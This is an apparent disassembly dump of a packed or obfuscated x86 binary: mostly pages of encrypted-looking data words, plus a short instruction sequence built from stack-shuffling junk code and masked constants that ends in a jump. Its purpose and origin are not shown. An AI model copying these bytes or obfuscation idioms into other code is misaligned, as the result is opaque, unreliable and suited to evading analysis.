0C87CECBh, 8CB59B61h, 0D5C90AA9h, 6869B74Fh dd 82063633h, 0CDCFDCE6h, 22FCDDC5h, 64F84h, 0B65ADA00h dd 44DE63DFh, 0CE70F16Dh, 5DF57BF7h, 0ED830A86h, 78D60D16h dd 8845BF1h, 9410E785h, 1F9B7212h, 8328FF9Bh, 6880662Ch dd 179C6328h, 35B0118Eh, 9067B076h, 18816322h, 0CE943FCAh dd 63228FE8h, 6E9E9B04h, 6B0081EAh, 2EFC9048h, 2F31A78Ah dd 73C1837h, 791B9C48h, 6F2D2A2Bh, 144211A7h, 0B37938ADh dd 6B031C6Ah, 0B35E1D86h, 430407EDh, 0BDBA235Bh, 3F6E076h dd 0C16D5B43h, 0C4509E40h, 5455A341h, 0F2D8221Fh, 485B4303h dd 2AD6C79h, 3936D256h, 29044BEFh, 2C7AE363h, 0D373F5A1h dd 3D878485h, 6329045Ah, 2903CBB6h, 749B1F63h, 141E53F1h dd 8ABBBA8Dh, 8D42E0BAh, 9C000005h, 25A1781Ch, 0B32F06A0h dd 3DB99032h, 0CC481FB7h, 0CFD8AF45h, 1DB33A14h, 0A947CA46h dd 34D456D2h, 0C15DE15Dh, 28EE45EAh, 63286942h, 1150D95Eh dd 0CA7635B0h, 5B5CAA46h, 7E7B179Bh, 63E5894Fh, 10796328h dd 8BB236C2h, 1B1C6A08h, 0B67C27E6h, 632862D0h, 3F8683ECh dd 7BC924A3h, 0F8CF6BEFh, 0E5CF87Ch, 0A362FE82h, 477E8FB5h dd 6E6BA222h, 2AD6C9B0h, 2EB907A9h, 286D8268h, 359E63h dd 99266D03h, 3E617AABh, 5F5C2B17h, 0BF85AB2Fh, 6328F3D9h dd 80578CF5h, 9C481705h, 52A040C2h, 5C74F51h, 795EAFACh dd 9FC4317Ch, 18Fh, 0BCBEBAA8h, 6A2221F8h, 3E8C24AAh, 110F403Dh dd 887635B0h, 0A243B1EBh, 0C7F6F3ADh, 22B48C01h, 49970063h dd 2290BBA3h, 0CAA2D63h, 14AC32BEh, 1D68FEC6h, 0D0A3FD18h dd 7C61FA2h, 8105B15Ch, 90250BE5h, 45396322h, 0F0ED22C4h dd 2AE31A6h, 0BE24B6Bh, 48A20B8Fh, 0B25A8226h, 8E83692Fh dd 2E975B42h, 0EA76C4F9h, 1D0BCA66h, 59A11D69h, 1A615EFBh dd 0E3A2437Eh, 22CBE41Dh, 7837A063h, 33F668Ah, 22C5573Dh dd 80A7363h, 0C84F15B1h, 0AEE3E432h, 634DF3B1h, 0CE63231Ch dd 8BD081D4h, 11C437ABh, 3Bh, 35B01118h, 9D1FCB76h, 0A023AFFDh dd 7EB3B402h, 65123781h, 0C52E6322h, 63E7D177h, 0BF526322h dd 64684E14h, 1B846322h, 8C3D881Eh, 0C437174Fh, 58F87A26h dd 97D35Bh, 31DA0000h, 37C311ADh, 40CC1AB0h, 0B56120BCh dd 45469432h, 7AFE8A48h, 547107DEh, 325B4268h, 9F3B12AEh dd 1BB13822h, 67B0965Ch, 63CC5B42h, 8EA96F2Eh, 0A2632520h dd 23CF7A39h, 0D808059Dh, 69E4BB51h, 509E38BDh, 5CF34D4Fh dd 0C3EEB2BBh, 790F96C6h, 40329E6Fh, 35D3AD75h, 39Ch, 92690D8Dh dd 20F79116h, 0AA8123A4h, 3910A82Eh, 0C9A036BDh, 0A42B23C0h dd 38BB370Eh, 0C547C39Ah, 4ED24E25h, 0DF36DBB2h, 286B3319h dd 39C24763h, 3D14AA31h, 0CAA13DC1h, 86AD314Dh, 8A166404h dd 0FF346907h, 5A125B1h, 7C149A46h, 17BB387Fh, 5B42E32Dh dd 42E39F89h, 8ECCF55Bh, 79386D0Bh, 28E30FB3h, 0C98C7A63h dd 541C6D37h, 319A2421h, 5B8A37E3h, 4445D69Ch, 0D63F6B09h dd 0A43539CCh, 96340E72h, 314h, 1AF19515h, 0A87F199Eh dd 3209AB2Ch, 0C19830B6h, 5128BE45h, 2CB39B48h, 0C043BF96h dd 4DCF4B22h, 0D65AD6ADh, 67BE633Ah, 286BBBA1h, 0C14ACF63h dd 0D7B54432h, 6D3548F1h, 20BC4070h, 26C246D2h, 10F6BC67h dd 2C5B4352h, 528D7339h, 38A15B43h, 23BF0603h, 0DC88479Eh dd 6F70BE56h, 447D4372h, 40632359h, 0F9E389D7h, 6463234Bh dd 2A425D1h, 20B6B3B4h, 0FB372455h, 13BEC437h, 2354674Dh dd 1D1A8363h, 2E95h, 0B0119C00h, 8BB07635h, 0A5632264h dd 5E48EE3Ch, 0C9632264h, 80D584CFh, 16C43717h, 0DEh, 53EF731Fh dd 80020405h, 0E84BCA57h, 310A3B38h, 670186ADh, 0D158E432h dd 308E7C3Bh, 0C2D27A09h, 0DA662421h, 0E06CBA56h, 5501C05Ch dd 0F13835D1h, 47F38876h, 0F7F78E4Bh, 4C93B0FAh, 73F75B43h dd 8400D7h, 576A1664h, 9E23CF8Eh, 997F4504h, 0B55B4344h dd 75204F4Ch, 441E04CAh, 0C9325B43h, 683182CCh, 281B6323h dd 23257C62h, 0F2279063h, 0DCC28833h, 4B632324h, 23259F85h dd 3852BB63h, 0EF8BD2CFh, 8E5413D2h, 6B05E26Dh, 0E47E03F7h dd 0BD44F0AFh, 4DD45027h, 9AC8ADB7h, 25FF72A0h, 1C787h dd 3EE26200h, 0CC66EB67h, 56F879F5h, 0E57D037Fh, 750B920Eh dd 4E959Eh, 900CE379h, 1C986F0Dh, 0A723FA9Ah, 0BB08723h dd 6D08EEB4h, 9F246328h dd 14AA3116h, 0A13DC13Dh, 0B0114DCAh, 8BB07635h, 632264h dd 0E937CD54h, 0F861EBE8h, 641A04AAh, 8B856322h, 174C8938h dd 7723C437h, 0C5759F1h, 1FDC4451h, 0C632BAB7h, 39000000h dd 0DDD44432h, 600813D2h, 13AF3363h, 1CB239C5h, 149743CEh dd 179C2876h, 14B487Dh, 5B4356E4h, 0E3A23EC2h, 41B209F5h dd 403D8938h, 5DF97DF9h, 4020B09Eh, 0F386BB8Eh, 393BB3FAh dd 37F794B2h, 5F1D1AB0h, 18D70EB3h, 228F0152h, 0CBA20B63h dd 9453922Fh, 5474ECEh, 0F2B11A6Bh, 6A29BF46h, 0F513F9BFh dd 0BE275B44h, 11FF7AC1h, 0E79FE407h, 0BFEFEC35h, 0F5951738h dd 4DDBB6C0h, 16F072A0h, 0D778h, 2ED25200h, 0BC56DB57h dd 46E869E5h, 0D56DF36Fh, 65FB82FEh, 0F05E858Eh, 80FCD369h dd 0C885FFDh, 9713EA8Ah, 0FBA07713h, 6DF8DEA4h, 8F146328h dd 1863206h, 1B181967h, 0F7CE64EBh, 845BF77Bh, 4863207h dd 13151664h, 0CC6562C1h, 0C4F4F170h, 0CA56A440h, 58D3AA46h dd 4C83BFADh, 320A414Bh, 43517258h, 28258E5Bh, 3DFCE9D8h dd 2951CF77h, 9516C263h, 886E34F3h, 0A4632951h, 0C1B43E3Bh dd 295115FBh, 0BEC02963h, 0A858B84Eh, 307EB394h, 0AD8420A4h dd 0C311AD31h, 0BDC0371Dh, 9026AD7Ah, 9434B642h, 0E4AFB546h dd 84CF6561h, 0C54B72F6h, 0A521F82Dh, 0AB378521h, 8F3F8D25h dd 68ECFAC9h, 0CE7AF5CCh, 39F234Ah, 827F80CEh, 0E432CE52h dd 346h, 0B502C100h, 0BF0DB131h, 0C513AF33h, 0C917B739h dd 0CE1CBA3Dh, 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch dd 0F240DA5Fh db 63h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push 5139h mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push 7E600A9h mov ebp, [esp] add esp, 4 push 13AAh mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], ebp sub dword ptr [esp], 4B350561h pop dword ptr [edx+8] add dword ptr [edx+8], 4B350561h push dword ptr [esp] pop edx add esp, 4 mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_560FFB ; --------------------------------------------------------------------------- dw 0D682h dd 1DB8DEEAh, 307E60Ch, 0FCE0FFC5h, 26470AA6h, 785AE78Bh dd 66795493h, 0CB3773C7h, 0C2576B60h, 0C06E0678h, 0EE2D57FFh dd 36677497h, 0E3787575h, 983CE6F8h, 480FB99Ah, 664B7149h dd 0DB26D377h, 8D310C70h, 0E60DB48Dh, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 8B50601Ch, 0E0083185h, 8B615A07h, 158D89F1h, 6A07E018h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 8BACC357h, 4985C7F3h, 0A407E020h, 6A00005Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 2965C350h, 9A8C4255h, 0F0FD98Bh, 8Ch, 0C585C700h dd 7E022h, 0FF000000h, 0E012ADB5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 9886124Dh dd 89DED395h, 0E03245B5h, 9195FF07h, 3107E020h, 0E017D985h dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 998E261Ch, 5C92AA93h dd 0F2B8E199h, 0E64707EDh, 0C109A45Eh, 4444285Bh, 9235220h dd 0B9E9C6h, 0C2BC0000h, 9CD74B9Fh, 0C8C3CA45h, 0ABDAB6E1h dd 0B395A7ACh, 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh dd 2096B1F4h, 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h dd 329FB799h, 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h dd 0B4F94E00h, 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h dd 79A3F653h, 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h dd 60FD756Bh, 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h dd 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh dd 93BCE1B6h, 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 0E900005Eh, 159Ch, 0E610B468h dd 7239E907h, 0B268FFFAh, 0E907E611h, 0FFFA722Fh, 0E612A768h dd 7225E907h, 0EB68FFFAh, 0E907E613h, 0FFFA721Bh, 0E6147F68h dd 7211E907h, 0F68FFFAh, 0E907E615h, 0FFFA7207h, 0E615AC68h dd 71FDE907h, 8968FFFAh, 0E907E616h, 0FFFA71F3h, 0E6171F68h dd 71E9E907h, 0CA68FFFAh, 0E907E618h, 0FFFA71DFh, 0E619AF68h dd 71D5E907h, 0EC68FFFAh, 0E907E61Ah, 0FFFA71CBh, 0E61C3968h dd 71C1E907h, 0B868FFFAh, 0E907E61Dh, 0FFFA71B7h, 0E61EC668h dd 71ADE907h, 0CA68FFFAh, 0E907E620h, 0FFFA71A3h, 0E621B268h dd 7199E907h, 856DFFFAh, 0F8DFB1CBh, 6F542640h, 0E2CB9DB7h dd 5C3E102Ah, 8A3388A2h, 0DFF9B395h, 556F290Dh, 0CEE8A083h dd 425C16FCh, 5D547762h, 1921D492h, 452B0DA7h, 0A288868Bh dd 7EA2CEE8h, 7787AAC1h, 12E5AA7h, 4B62A9AEh, 0F221DA9Bh dd 59853C91h, 678A0C8Dh, 21DA4D4Ah, 64DDE134h, 5B6167C9h dd 53D4CE2Fh, 3548h, 4FD19200h, 1BFFD9F0h, 0B5BA745Ah dd 170E13BEh, 638FB211h, 9D2E5AA0h, 0AFFE454Ah, 8E21DA9Fh dd 4C7AD02Dh, 6753D4EBh, 119h, 64B74874h, 1C5B7BB1h, 452BF416h dd 0F723868Bh, 182EE700h, 0C47E6453h, 171DC8BFh, 40283B1Dh dd 541C6EADh, 0F4C1F013h, 6ABD29B9h, 0AC0F14BFh, 2B31E9D2h dd 7D384B31h, 36C1CBF3h, 0C5041BC6h, 0BA160FA2h, 0E146729h dd 9B845EC1h, 0E1E7DEE3h, 2D4701E7h, 0BA19C512h, 0CA846A29h dd 3EF8DEB0h, 18FCD639h, 0B3B87057h, 0B70B11BCh, 90B3CA69h dd 2E59F232h, 83F59ACh, 2DC203DCh, 7557783Dh, 14BFB6BBh dd 0BDC27C62h, 0A46CC0C6h, 0F8B9DC1Bh, 7E21DAA0h, 0A081302Bh dd 0AAFD21DAh, 4C9022A6h, 9E49F37Eh, 0B4EB6487h, 0F14B2677h dd 151560Eh, 0BE7E094Ch, 0AB56018Dh, 0B2D8BA94h, 0B7CF228Fh dd 5E095C29h, 0CE866D47h, 552F66C8h, 0BBB2B771h, 1FD9BBB5h dd 11856846h, 6A9881E6h, 12C6h, 233DF7DFh, 98B26A51h, 0F29E1C6h dd 829C543Dh, 0FA14CEB0h, 25073CA5h, 9B7F516Bh, 12F5C7E1h dd 886E405Ah, 0E9D4B4CEh, 0D490EBC6h, 87219321h, 758F492Bh dd 0E903BDA3h, 0F04FD1EFh, 0A03CB6D9h, 0A8822E5Ah, 0E8070DC5h dd 1C3F7E95h, 21DA9F95h, 3B888EE1h, 0DA9FB9F4h, 0CE238421h dd 0D4EB3270h, 0F05D53h, 2BA70000h, 88868B45h, 46FEE5A6h dd 0F6BBDE41h, 8029BAA0h, 0E7D0822Dh, 88332A2Fh, 61462083h dd 7760A3A9h, 0F429BAA5h, 0FE3D540Eh, 0BA9CD6DBh, 474DA029h dd 4C6FAEE5h, 29BA9D65h, 230CBE11h, 856B656Bh, 2429E1C4h dd 916B822Dh, 9EEBF1ABh, 465DDA46h, 0D9CFA71Ah, 0C1C722DCh dd 0CE833F62h, 0AAFD2E59h, 9D7F5990h, 8789DDE3h, 0F06E91A8h dd 26267784h, 304A1EFAh, 0B4BABED7h, 512B4295h, 0C99BB56Fh dd 139EC1E7h, 6B29B89Bh, 0BC946D18h, 0D9E610B8h, 11C8C2F0h dd 0F5DD0000h, 684F213Bh, 0DFC496B0h, 523B0D27h, 0CCAE809Ah dd 3AA3F812h, 4F692305h, 0C5DF997Dh, 3E5810F3h, 0B2CC866Ch dd 0EDC4E7D2h, 8921D48Fh, 492B7D17h, 0BA9E788Fh, 0C698FA00h dd 0D00F26E0h, 0BAA104ADh, 21277A29h, 905C88BFh, 0AB0FBEC8h dd 0A3C18E92h, 2F23E8FBh, 452B0729h, 1235748Bh, 29BAA09Fh dd 317E84D7h, 79934D33h, 0CA846842h, 2DE5CAC4h, 8A442A28h dd 602A2670h, 1D5C73B0h, 0FAD9C0F1h, 0AACD5FCEh, 29BA8F07h dd 6B711C6Fh, 5A933E28h, 755EB82Eh, 16C1B8BDh, 0B4325E61h dd 0BD5760Fh, 0FBA65E41h, 23FCB2F5h, 0DB45D650h, 7022455Ch dd 0C63DF057h, 0CC0B6E73h, 305808A9h, 151B6E32h, 0C9E05FC1h dd 0CF952FA6h, 492D8736h, 0A1CDE48Fh, 85411819h, 99F8FE42h dd 90B3D9BFh, 3950EB21h, 455F0A5Dh, 0FAD38D73h, 0D6786938h dd 0D3326049h, 0D2000010h, 441630EAh, 0B98BA55Dh, 30021CD4h dd 0A3758F47h, 98ED07C1h, 5E18FA2Fh, 0D48E7244h, 4D05E8BAh dd 0C17B6133h, 0B9DCC7A7h, 21D48EF8h, 2B720C7Eh, 9A748B45h dd 0A8F5FBB3h, 4C63C050h, 5A835529h, 124E32Eh, 21DA7BB0h dd 0AEC873C6h, 8AA19E82h, 7A690767h, 0CFF23126h, 29BA96E2h dd 2443499Ch, 976F4265h, 492C29BAh, 0BE958C91h, 5138676Bh dd 87B31476h, 1D90D7DCh, 2029B9B6h, 0DE0C62BFh, 1E543401h dd 9EA45E44h, 501Ah, 80FB2700h, 0FA13AE8Ch, 79F08286h dd 839600EAh, 4FD15B7Dh, 1FB6D9F0h, 972E5AEFh, 989D573Dh dd 5DFF6A1h, 35506A22h, 21DA527Ah, 6B853F25h, 0E7FEB699h dd 532C85A8h, 0FF5221DAh, 0A49ACF9h, 0DA52CAE7h, 735AB421h dd 0E00A10BBh, 0FF6h, 0F04FD176h, 0AF80B6D9h, 0A3F62E5Ch dd 12CCB28Ch, 864026F8h, 41E72981h, 0A79EA35Dh, 69EA45A3h dd 8F3AADD9h, 2BC9E78h, 715406FDh, 3154B3B9h, 2675C7BAh dd 9AC6DD30h, 0D60E54Eh, 0FEE2949Bh, 5DF3E44h, 794B651Fh dd 71D4D993h, 0F4FAB297h, 9CB370A0h, 5A2CF979h, 532C7F2Eh dd 0EDEF2617h, 8F95C3ACh, 1600000Fh, 885A742Eh, 0FDCFE9A1h dd 74466018h, 0E7B9D38Bh, 0DC314B05h, 0A25C3EF3h, 18D2B688h dd 91492CFEh, 5BFA577h, 0FD200BEBh, 21D48DB4h, 0C6BE58CAh dd 494E08ECh, 0A4094C52h, 9D29BAA0h, 719DB473h, 0C9718649h dd 0F6BBDE34h, 8029BA63h, 1D7C822Dh, 5C6ED9FAh, 0F70E612Eh dd 0EE11371Dh, 21D470C3h, 0C1E20FBBh, 8745001Ch, 451731DCh dd 0FDB59E5Fh, 0C7EA01F8h, 21D3F5EAh, 91964194h, 4158D739h dd 73D8601Eh, 0AA83D626h, 0E6154174h, 0FBF6240Dh, 0AA00000Eh dd 1CEE08C2h, 91637D35h, 8DAF4ACh, 7B4D671Fh, 70C5DF99h dd 36F0D247h, 0AC664A1Ch, 25DDC092h, 9953390Bh, 91B49F7Fh dd 21D48D20h, 2B4AE456h, 88868B45h, 4FDC8FA2h, 5018C5EAh dd 8A1DF44Ch, 0B15C60F9h, 0A90637ACh, 34F71753h, 9544054h dd 0D18A0000h, 0B6D9F04Fh, 2E5CAC0Ah, 4C263D90h, 5B92AC66h dd 0DCE29A81h, 60E9FCE2h, 0F1D04A00h, 0BC0308B3h, 21D478F1h dd 4C63C050h, 745B5529h, 0B790E326h, 0E614C087h, 6B0D3B24h dd 3A00000Eh, 0AC7E9852h, 21F30DC5h, 986A843Ch, 0BDDF7AFh dd 556F29h, 0C68062D7h, 3CF6DAACh, 0B56D5022h, 29E3C99Bh dd 21442F0Fh, 21D48B90h, 2BDA74E6h, 88868B45h, 6EE3E8A2h dd 5C8AE03Dh, 9C5434E6h, 0B8A28E70h, 1FD185CEh, 82797E36h dd 8C4F87Ch, 2B050000h, 688A9048h, 0BAA0CBE2h, 86AA7629h dd 263DE8A2h, 6A2B0DE7h, 0D0C7CC86h, 0A4DC1F25h, 0B22E5CAEh dd 8B6E485Fh, 0D1D7CED3h, 0F8B29872h, 6C260CDEh, 22010F67h dd 7596E80Bh, 4DA02674h, 14DF5A74h, 0D402EBE6h, 0DCEh dd 1B35EFD7h, 90AA6249h, 721D9BEh, 7A944C35h, 0F20CC6A8h dd 1DFF349Dh, 93774963h, 0AEDBFD9h, 80663852h, 0E1CCACC6h dd 0D48BF3BEh, 7F198B21h, 77639AC6h, 0DE90F98Dh, 0B9B7F6BBh dd 822D8029h, 0E29C827Ch, 3FF9DFDDh, 0A05A3C3Ah, 1BB9D9Bh dd 0B20FD0FCh, 512B466Fh, 3BB0B66Eh, 70552FE6h, 6A2406B8h dd 0F205E64h, 96705434h, 6CF0F6B0h, 806h, 0E94FD1B6h, 8CA34E06h dd 5CAF0C69h, 176A2Eh, 93139EC1h, 82B21D4h, 21D492A9h dd 58AB82D5h, 3319F352h, 0A78D5F79h, 4685E8EDh, 0D4928E23h dd 8F95E821h, 0D493614Ch, 0F330E021h, 631B02DCh, 261675Eh dd 74759FDFh, 967F5926h, 76624F72h, 0C91C29B4h, 0CF876C1Eh dd 0AECDD3CAh, 0DE6E825Bh, 1A03E614h, 0CF1ECh dd 12CCB400h, 873F26F8h, 0FEB69B6Dh, 712912E4h, 0E9A38557h dd 0DC517ACFh, 542640FAh, 0CA9CB670h, 43152FE7h, 0A989A35Dh dd 8B169BBEh, 0EE6021D4h, 8B452B54h, 0E8A28886h, 0E03D6EE3h dd 34E65C8Ah, 7587754h, 0E2C10000h, 29BAA0D0h, 0EDA58C66h dd 0AE8D93E7h, 0AF1E7497h, 0C5182E5Ch, 34EED4AEh, 3C62481Ah dd 0D4929819h, 0E08BDE21h, 520AEFC9h, 350564Dh, 0AFC665ABh dd 749FEE8Ch, 7EEC826h, 7E2A494Fh, 7EDB2CE1h, 0E5BE698Bh dd 0E614FBD7h, 5B598770h, 4A00000Ch, 0BC8EA862h, 31031DD5h dd 0A87A944Ch, 1BED07BFh, 10657F39h, 0D69072A7h, 4C06EABCh dd 0C57D6032h, 39F3D9ABh, 31543F1Fh, 21D48980h, 2BEA84F6h dd 48748B45h, 0CDAF80F3h, 13170E13h, 0F5FBD16Ch, 0AC4AAA8h dd 6A220705h, 72856765h, 4105E93Bh, 1217C236h, 0E392EF1Ch dd 0BA25F1C0h, 8F3A8D29h, 0DE014073h, 29BA25D3h, 582FE7D0h dd 358AFF05h, 2943FDE3h, 772F18F2h, 6F757B72h, 54349133h dd 18C5Ch, 0ECC6A600h, 4F494F07h, 0CC6A869h, 785E5C61h dd 0A878A4BEh, 5B35748Bh, 0C4BBC078h, 0A7837BBEh, 42952E5Ah dd 0AC6D512Bh, 5B610CC6h, 0EFD1AB0Eh, 0C1EC2F35h, 0DA21DA9Ah dd 39373CF6h, 32959A52h, 0DA9AA20Fh, 0DF89DC21h, 2125DB2h dd 0B0EE4CA1h, 0DB53D4E0h, 4Dh, 6ECC625h, 4A50474Ch, 22062AF6h dd 83A6BD68h, 2E5AA06Fh, 0F31F3689h, 0C126BE18h, 0A15B3D7Bh dd 0F4FAA59Ch, 0E54D60A7h, 8FF021D9h, 0EC578332h, 0E1159AA7h dd 0F5FAB299h, 474D53FEh, 53D4781Bh, 0DE967F59h, 58DCE2D9h dd 0DBh, 8B452BA2h, 67492386h, 0CBADA7ADh, 686D250Ah, 0D5AFC671h dd 3A3136EEh, 3E9E734h, 7E14449h, 6D646923h, 181ED6BBh dd 677E381Eh, 0D5ECA48Dh, 0BAA0FFB2h, 1E247729h, 8A26A1BCh dd 0E3C929BAh, 3DE30F29h, 85A8E7FEh, 29BA762Ch, 9AF9FF52h dd 57ED8577h, 91A8FB2Eh, 0C1F01352h, 0BD21D80Eh, 886A646Ah dd 0FADDB7CEh, 0EFEB3D6h, 257821D8h, 4012747Ah, 0C3CBA45Eh dd 60EDF145h, 0AB04977h, 0DF50000h, 80673953h, 0F7DCAEC8h dd 6A53253Fh, 0E4C698B2h, 12BB102Ah, 67813B1Dh, 0DDF7B195h dd 5670280Bh, 0CAE49E84h, 0D5DCFFEAh, 0A121D488h, 0ECC6952Fh dd 4F494F07h, 0C799B36Dh, 823C20E1h, 0C4DB867Dh, 539F3598h dd 5608A89Fh, 51B3B971h, 0F9B8DB1Ah, 8529B9D0h, 2B0A2C32h dd 88868B45h, 0CCCEE8A2h, 4F6h, 0F04FD162h, 5E16FFD9h dd 0FD5C6259h, 5A9290DAh, 6E73C62Eh, 0DA6E8627h, 0F956B721h dd 523A1E4Ah, 0F7AC9B54h, 5B525711h, 66A4AAB0h, 9153D44Eh dd 207h, 0A0D2E2DBh, 296829BAh, 0BAA0AB06h, 4327D329h dd 2B616BAAh, 0A1F5FBA6h, 86A9C07Fh, 2E5C0C12h, 0BFFE1568h dd 0C6A2B893h, 0B2B86DE5h, 0FE18D2B8h, 878C462Ch, 2B42E12Fh dd 73C97208h, 60398C26h, 0E6159EEEh, 0CBE816FFh, 0DA000009h dd 4C1E38F2h, 0C193AD65h, 380A24DCh, 0AB7D974Fh, 0A0F50FC9h dd 66200237h, 0DC967A4Ch, 550DF0C2h, 0C983693Bh, 0C1E4CFAFh dd 21D487F0h, 0C67A1486h, 9D4F07ECh, 2FC02BAh, 5F5D621Ch dd 52BABF79h, 7C62B409h, 9CCAA8C2h, 0B75434EAh, 16Bh, 8B452B01h dd 0E8A28886h, 0C17EA2CEh, 4C3F6BAAh, 0C089FA63h, 3BC3060Ch dd 3D2E5A77h, 0F9EE5EAh, 2E21DA6Bh, 0EC1A70CDh, 753D4D0h dd 4Bh, 0F04FD151h, 0DDC09AD9h, 0E0D02025h, 9DC89EE0h dd 478A903Bh, 2E59CCABh, 7E335695h, 0CB21D9CBh, 0BD8F4B9Fh dd 0F84B2273h, 7B80D3F2h, 0D9F57934h, 843E2221h, 0E29A817Fh dd 99F6ABDDh, 88E54656h, 0D441F432h, 0BA1F53h, 2B690000h dd 23868B45h, 0A4A96349h, 0CBADA7ADh, 7DA90C11h, 9D59BE61h dd 5E16FF33h, 0CDB3ADB3h, 2A100E13h, 7C3B5670h, 1F29BA48h dd 39657F39h, 92D9FFD7h, 4F19CCF5h, 744E8DA4h, 6D44678Bh dd 929BA3Fh, 0C2050BB6h, 2E57B63Ah, 0A7E6FD50h, 482AEBCDh dd 0E3DDE38Eh, 8EA9EE01h, 0A1A81F83h, 0AB5601BBh, 23DDBF91h dd 0F13BDE4Ah, 0DC0AF3EDh, 88Eh, 5B752F17h, 0D0EAA289h dd 476119FEh, 0BAD48C75h, 324C06E8h, 5D3FF4DDh, 0D3B789A3h dd 4A2DFF19h, 0C0A67892h, 210CEC06h, 0D486B3FEh, 0BF59CB21h dd 758F492Bh, 16FCBDA3h, 0B560575Ch, 20DFC49Eh, 857C8139h dd 7872D4DAh, 0FC1F452Bh, 29BAA0B5h, 0BEC36EC1h, 0B8F91C5Bh dd 0BE29BAA0h, 856B656Bh, 0A0753C5Fh, 0AE0129BAh, 0B15C16FCh dd 0EE786E9Ah, 0E2E6A084h, 0E6ECFFE9h, 2BC8284h, 0D1180000h dd 0ADD9F04Fh, 0EA5A75E0h, 88E7ED7Dh, 5BBCCD65h, 0B099732Eh dd 80D3F2F8h, 0A379347Bh, 63C421D3h, 1772B00Eh, 83C253D2h dd 97902144h, 93E621D3h, 0D3981998h, 0EDA58A21h, 39BDC316h dd 265h, 0C8876C46h, 2B2227DFh, 9B7D7B80h, 3AE5DCE1h, 87C61234h dd 0A08C2548h, 9FF229BAh, 0BAA10DA4h, 10166929h, 0BAA0E7CDh dd 7BB86829h, 0AF094164h, 653F2E5Ch, 0A2C1C781h, 785E384Fh dd 0DB937852h, 0CDE4DFD6h, 0A921D492h, 261E5256h, 7F750830h dd 2E8BAD4h, 6E04348h, 40590C1Dh, 79556667h, 20D2C9CEh dd 847B803Ah, 0DDE62A7Eh, 0D3FBF7BAh, 3E257F21h, 0DF8A8186h dd 80FA1D34h, 0F6267408h, 5D64CAA3h, 947DE615h, 74166h dd 0C27C6400h, 37EFD6A8h, 0AE664B1Dh, 21D9C294h, 99533507h dd 8C812A7Fh, 4D6F0AAh, 7A4C6620h, 0F3C5DF97h, 5939530Dh dd 85664B6Eh, 9E1021D4h, 32452B04h, 0C7ED0F53h, 869D485Ah dd 0B10CAACh, 0C3C10E14h, 1D94B7DDh, 5929BA02h, 58565B06h dd 0B8B6BB73h, 0E9151AD4h, 6C88CB28h, 967CCE23h, 0A30E3170h dd 0DB29BA01h, 2248D88h, 0AE5A29BAh, 41F3DE39h, 802BD6DDh dd 98032F66h, 2190B32Dh, 5D29BA2Eh, 2580060Ah, 933D7497h dd 0E63929BAh, 0E8A0893Bh, 0E0E6ECE3h, 5434E4A2h, 138CDh dd 0ECC61700h, 4F494F07h, 0CC6A869h, 0BAF95C61h, 0BAA11A97h dd 0B116429h, 57712B11h, 2F46E52Bh, 5AA6F20Ch, 2C31842Eh dd 0DA9AC8E5h, 0BF147521h, 0D4E02561h, 394E53h, 2F5B0000h dd 0FD1D3A21h, 0F57725D4h, 876D0408h, 0D194B6BCh, 0B6D9F04Fh dd 2E5AA03Ch, 236A6FC2h, 21DA9F8Ah, 0C83C68B3h, 94667669h dd 0E13EB3B9h, 0D4365F8Bh, 0A77853h, 2BC20000h, 0E79F8445h dd 5739373Ch, 0F635989Dh, 0BAA0DED3h, 3F459829h, 0A0A55F45h dd 0E802BCA2h, 3AF2D7B1h, 0FC3A3E35h, 0D2F34E45h, 0A9DE0E6h dd 0A529BAB9h, 87FDACBFh, 38496F33h, 0B69C768Dh, 0FA00F7FCh dd 0A3876198h, 2CFFE5E9h, 0E8C457A7h, 0A5828EE2h, 84916B8Eh dd 94E72E57h, 7C1A37Dh, 7F391BEDh, 0F0E046A6h, 4C7A63EDh dd 5C2h, 2741FBE3h, 9CB66E55h, 132DE5CAh, 86A05841h, 0FE18D2B4h dd 290B00A9h, 9F83556Fh, 16F9CBE5h, 8C72445Eh, 0EDD8B8D2h dd 0D483E7CAh, 831D8F21h, 758F492Bh, 0E903BDA3h, 1F452BEFh dd 0BAA0B5FCh, 8267C129h, 23CEC5CAh, 36107378h, 9791974Fh dd 0DBDDF7B1h, 16h, 8B452B71h, 0E8A28886h, 0E63B70E3h dd 0DAF4AE94h, 2AD8h, 452B6E00h, 6F3F868Bh, 2E29BAA1h dd 8C8A8F47h, 0B9EBF0AAh, 5B64AF04h, 5D4395EAh, 0CBB28CA3h dd 0ADDA0F13h, 0E3C3E4D4h, 2B817BDDh, 2E868B45h, 52ADD9E2h dd 0F872EC1Fh, 20179A95h, 0B35F29BAh, 0E150B0FEh, 0A24DF87Bh dd 0CE688Bh, 55A82E5Ch, 6B7E643Eh, 32F8CCC6h, 90AA5516h dd 191ED8BEh, 8C875FC1h dd 6E280CF5h, 0BD6E7269h, 1E35E0F6h, 766EF0FBh, 270C6626h dd 70D1E003h, 5AAD29BAh, 13ED04AFh, 8759732Dh, 8AE2E7A1h dd 6F92A986h, 2E5A5403h, 7512A7Dh, 18EDEEC9h, 4B4012Fh dd 9F10000h, 7C63354Fh, 0F3D8AAC4h, 